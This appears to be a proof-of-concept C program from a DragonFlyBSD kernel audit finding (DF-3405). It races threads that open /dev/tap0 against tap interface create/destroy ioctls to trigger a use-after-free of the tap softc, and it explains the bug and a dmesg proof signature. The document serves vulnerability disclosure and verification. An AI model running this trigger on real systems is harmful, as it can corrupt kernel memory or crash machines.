⬢ DragonFlyBSD Kernel Audit
DF-3405 / taprace.c
← back to finding ↓ download raw
/*
 * taprace.c -- DF-3405: tap_softc use-after-free
 *
 * tapopen() (sys/net/tap/if_tap.c:315) fetches `sc = dev->si_drv1` under the
 * mplock and then uses it, but the ifconfig clone-destroy path
 * (SIOCIFDESTROY -> if_clone_destroy -> tap_clone_destroy -> tapdestroy,
 * if_tap.c:503-517 -> :471-496) takes NO mplock (only ifnet_lock, which
 * tapopen never acquires) and ends with kfree(sc).  If tapopen is between
 * its si_drv1 fetch and its `tap_flags |= TAP_OPEN` (:347) when
 * tap_clone_destroy checks TAP_OPEN (:507), the destroy completes and
 * tapopen keeps writing into the freed softc (TAP_OPEN set, fsetown into
 * sc->tap_sigtd, taprefcnt++, later tapwrite/tapclose/tapioctl all use the
 * freed sc).
 *
 * This program races:
 *   thread pool : open("/dev/tap0") -> write 64B packet -> close, forever
 *   main thread : SIOCIFCREATE tap0 / short sleep / SIOCIFDESTROY tap0
 *
 * Proof signature (with debug.if_tap_debug=1):
 *   dmesg contains  "tap0: destroyed, minor = 0x0" IMMEDIATELY followed by
 *   "tap0: opened, minor = 0x0"  with NO "created" line in between.
 *   "opened" can only print from tapopen using a sc fetched before the
 *   destroy freed it (if tapopen ran fully before the destroy's TAP_OPEN
 *   check, destroy would have bailed EBUSY and never printed "destroyed";
 *   if tapopen ran fully after, si_drv1 would be NULL and it would print
 *   "created" first).  => tapopen ran on the kfree'd softc.  QED.
 *
 * A panic (any signature) is a bonus, not required.
 *
 * build: cc -o taprace taprace.c -lpthread
 * run  : ./taprace <seconds>
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/fcntl.h>
#include <net/if.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

static volatile int stop;
static int create_ok, create_err, destroy_ok, destroy_busy, destroy_err;
static int open_ok, write_ok;
static pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER;

#define	NOPENER	8

static void *
opener(void *arg)
{
	unsigned char pkt[64];
	int fd, n;

	memset(pkt, 0x42, sizeof(pkt));
	while (!stop) {
		fd = open("/dev/tap0", O_RDWR);
		if (fd < 0)
			continue;
		n = write(fd, pkt, sizeof(pkt));
		pthread_mutex_lock(&mtx);
		open_ok++;
		if (n == (int)sizeof(pkt))
			write_ok++;
		pthread_mutex_unlock(&mtx);
		close(fd);
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	struct ifreq ifr;
	pthread_t th[NOPENER];
	int s, i, secs = 60, iter = 0;

	if (argc > 1)
		secs = atoi(argv[1]);
	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		return 1;
	}
	/* clean slate: destroy any pre-existing tap0, ignore errors */
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, "tap0", IFNAMSIZ);
	ioctl(s, SIOCIFDESTROY, &ifr);

	for (i = 0; i < NOPENER; i++)
		pthread_create(&th[i], NULL, opener, NULL);

	printf("racing %d openers vs create/destroy for %ds...\n", NOPENER, secs);
	while (iter < secs * 20) {		/* ~20 cycles/s */
		memset(&ifr, 0, sizeof(ifr));
		strlcpy(ifr.ifr_name, "tap0", IFNAMSIZ);
		if (ioctl(s, SIOCIFCREATE, &ifr) == 0)
			create_ok++;
		else if (errno != EEXIST)
			create_err++;
		usleep(20000 + (iter % 5) * 10000); /* 20-60ms window */
		/* always attempt the destroy (tap0 may exist from a cycle
		 * whose destroy lost to an open) */
		if (ioctl(s, SIOCIFDESTROY, &ifr) == 0)
			destroy_ok++;
		else if (errno == EBUSY)
			destroy_busy++;
		else
			destroy_err++;
		usleep(30000);
		iter++;
	}
	stop = 1;
	for (i = 0; i < NOPENER; i++)
		pthread_join(th[i], NULL);
	printf("iters=%d create_ok=%d create_err=%d destroy_ok=%d "
	    "destroy_busy=%d destroy_err=%d open_ok=%d write_ok=%d\n",
	    iter, create_ok, create_err, destroy_ok, destroy_busy,
	    destroy_err, open_ok, write_ok);
	printf("now check dmesg for: 'destroyed, minor = 0x0' directly "
	    "followed by 'opened, minor = 0x0' (no 'created' between)\n");
	return (0);
}